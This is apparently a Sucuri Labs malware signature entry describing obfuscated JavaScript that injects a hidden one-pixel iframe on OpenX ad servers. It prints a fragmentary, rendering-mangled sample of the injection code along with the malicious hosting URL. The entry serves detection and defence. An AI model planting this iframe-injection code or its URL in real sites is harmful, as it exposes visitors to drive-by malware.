malware-entry-mwiframehd39

Description: Javascript encoded used to hide an iframe.

It uses javascript to read an encoded text from inside the html page. Once
decoded, it loads a malicious iframe to the site visitor.

Domains used to host the malware:
http://mykasker.com (and many others)

Affecting: OpenX ad servers.

Malware sample:

<br /> if(typeof run == 'undefined'&&clng(nav.toLowerCase())){dc.writeln("script type="..<br /> dc.writeln("var host=' widt'+'h=1 h'+'eight'+'=1 '; var src='src='; var brdr='fra'+'mebor'+'der='+'0';var sc='"<a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G"><a href="http://mykasker.com/hv0tesfu.php?s=IBB@G">http://mykasker.com/hv0tesfu.php?s=IBB@G</a></a></a></a></a></a></a></a>..<br /> dc.writeln("document.write('ifr'+'ame'+host+src+sc...<br /> </code></pre></p> </div><!-- .entry-content --> <footer class="entry-footer wedocs-entry-footer"> <div class="wedocs-article-author" itemprop="author" itemscope itemtype="https://schema.org/Person"> <meta itemprop="name" content="Rodrigo Escobar" /> <meta itemprop="url" content="https://labs.sucuri.net/author/rodrigo-escobar/" /> </div> <meta itemprop="datePublished" content="2019-05-16T00:00:00+00:00"/> <time itemprop="dateModified" datetime=""></time> </footer> <nav class="wedocs-doc-nav wedocs-hide-print"><h3 class="assistive-text screen-reader-text">Doc navigation</h3><span class="nav-prev"><a href="https://labs.sucuri.net/signatures/sitecheck/malware-entry-mwiframehd371/">← malware-entry-mwiframehd371</a></span><span class="nav-next"><a href="https://labs.sucuri.net/signatures/sitecheck/malware-entry-mwiframehd438/">malware-entry-mwiframehd438 →</a></span></nav> </article><!-- #post-## --> </div><!-- .wedocs-single-content --> </div><!-- .wedocs-single-wrap --> </main><!-- .site-main --></div><!-- .content-area --> </div><!-- #content --> <footer id="n-footer"> <div id="mp-footer" class="container"> <div class="row"> <div class="c-lg-12"> <div class="row"> <div class="c-lg-3 c-md-3 px-50"> <div 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